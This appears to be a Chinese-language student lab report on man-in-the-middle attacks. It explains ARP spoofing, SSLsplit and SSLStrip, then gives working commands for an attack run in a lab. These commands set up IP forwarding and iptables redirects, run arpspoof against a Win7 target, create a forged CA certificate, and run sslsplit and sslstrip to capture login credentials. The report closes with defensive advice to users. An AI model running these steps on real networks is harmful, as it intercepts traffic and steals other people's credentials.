原理
中間人攻擊(Man-in-the-Middle Attack, MITM)是一種由來已久的網絡入侵手段,并且在今天仍然有着廣泛的發展空間,如SMB會話劫持、DNS欺騙等攻擊都是典型的MITM攻擊。簡而言之,所謂的MITM攻擊就是通過攔截正常的網絡通信資料,并進行資料篡改和嗅探,而通信的雙方卻毫不知情。
arp欺騙
- 攻擊者可以根據使用者與伺服器之間ARP廣播包,可以僞裝成一方告訴另一方假位址來擷取敏感資訊。
- ARP欺騙是黑客常用的攻擊手段之一,ARP欺騙分為二種:
- 對路由器ARP表的欺騙:截獲網關資料。它通知路由器一系列錯誤的内網MAC位址,并按照一定的頻率不斷進行,使真實的位址資訊無法通過更新儲存在路由器中,結果路由器的所有資料隻能發送給錯誤的MAC位址,造成正常PC無法收到資訊。
- 對内網PC的網關欺騙:僞造網關。它的原理是建立假網關,讓被它欺騙的PC向假網關發資料,而不是通過正常的路由器途徑上網。在PC看來,就是上不了網了,“網絡掉線了”。
- arpspoof參數應用
- -i:指定網卡
- -t:目标機IP
- -r:kali網關位址
SSLsplit
- 透明SSL/TLS中間人攻擊工具
- 對用戶端僞裝成伺服器,對伺服器僞裝成普通用戶端
- 僞裝伺服器需要僞造證書
- 支援SSL/TLS加密的SMTP、POP3、FTP等通信中間人攻擊
SSLStrip
- 現實生活中,在浏覽器位址欄中輸入網址時,多數使用者會采用直接輸入網址的方式,而忽略了傳輸所采用的協定。使用者通過HTTP向伺服器發起HTTPS連接配接往往是通過HTTP的302重定向實作的。SSLStrip攻擊利用這一特點,在使用者端接受到跳轉資訊之前通過明文HTTP協定去除掉HTTPS跳轉的過渡,進而使得原先本應被加密的資訊都明文呈現在了攻擊者的面前,使得攻擊者能夠自由擷取需要的資訊。
- 整個SSLStrip 過程包括如下幾個步驟:
1. 用戶端Client向伺服器Server發起HTTP連接配接請求 2. 中間人MITM監聽用戶端與伺服器的HTTP資料; 3. 伺服器傳回給用戶端的HTTP資料包被在用戶端與伺服器之間的中間人截獲。中間人解析原HTTP資料包,将HTTPS URL改為HTTP URL,同時記錄下所修改的URL,并儲存; 4. 中間人将修改後的HTTP資料發送給用戶端; 5. 用戶端Client向伺服器Server發起HTTP連接配接請求; 6. 中間人計算機解析用戶端的HTTP連接配接請求,并與儲存檔案相比較。當發現存在有已修改過的HTTP URL時,将其替換成原HTTPS URL,并發送給伺服器;
- SSLStrip 所能達成的目标是在用戶端與伺服器建立連接配接時,在MITM與Server之間形成HTTPS連接配接,而在Client與MITM之間形成HTTP連接配接。
- 結合arp位址欺騙,無需僞造證書
過程
- 預設情況下電腦是沒有路由轉發功能的,要想實作中間人攻擊,要先啟動路由
,也可以輸echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 接着,要對端口轉發規則進行設定。
- 使用
檢視nat表中的規則iptables -t nat -L
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 确認80端口和443端口沒被使用後設定規則
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 //HTTP iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 //HTTPS iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊
- kali:192.168.19.130
- Win7:192.168.19.133
- 輸入
arpspoof -i eth0 -t 192.168.19.133 -r 192.168.19.2
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 在Win7檢視欺騙前後的變化
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊
- 使用openssl建立證書私鑰:
openssl genrsa -out ca.key 2048
- 使用openssl建立證書:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
- 在keli建立/root/test和/root/test/logdir檔案夾儲存記錄。
- 安裝sslsplit:從gitHub上下載下傳源碼
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
- 安裝還需要兩個包,使用
進行安裝apt-get install libssl-dev libevent-dev
- 進入/opt/sslsplit使用
make
進行編譯。make install
- 啟動SSLsplit監聽端口
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - Win7通路https連接配接,頁面顯示證書有問題,點選檢視證書,發現證書已經被替換為剛剛生成的證書
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 同時,kali獲得Win7正在通路的網站的證書資訊
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 攻擊者可以截獲目标機上的會話資訊,是類似wireshark的作用
sslstrip攻擊
- 前面已經使用arpspoof将流量進行重定向
-
監聽發往8080端口的資料sslstrip –l 8080
- 測試百度網站失敗
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 測試淘寶網站失敗
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊 - 啟用sslstrip前,進入126郵箱首頁,輸入“http”會自動跳轉為“http”,啟用sslstrip後,頁面一開始會提示網絡連接配接失敗,當再次重新整理的時候,頁面變為“http”連接配接,kali街管道使用者名和密碼。
2017-2018-2 20155315《網絡對抗技術》免考四:中間人攻擊
總結
中間人攻擊是較為隐蔽的社會學攻擊,中間人攻擊會使使用者覺得可能隻是網絡不好使得網頁加載緩慢或需要重新整理,如果使用者沒有注意到使用的是http協定或者沒有注意到證書的問題,就可能被截取使用者名和密碼。是以,在日常生活中,對一些網銀、購物、郵箱等網站要養成手動輸入https協定的習慣,多注意細節,就能盡可能避免被攻擊。
參考資料
- SSL、TLS中間人攻擊
- 如何用kali Linux進行DNS欺騙、竊取cookies,使用SSLstrip
- SSL中間人證書攻擊測試演練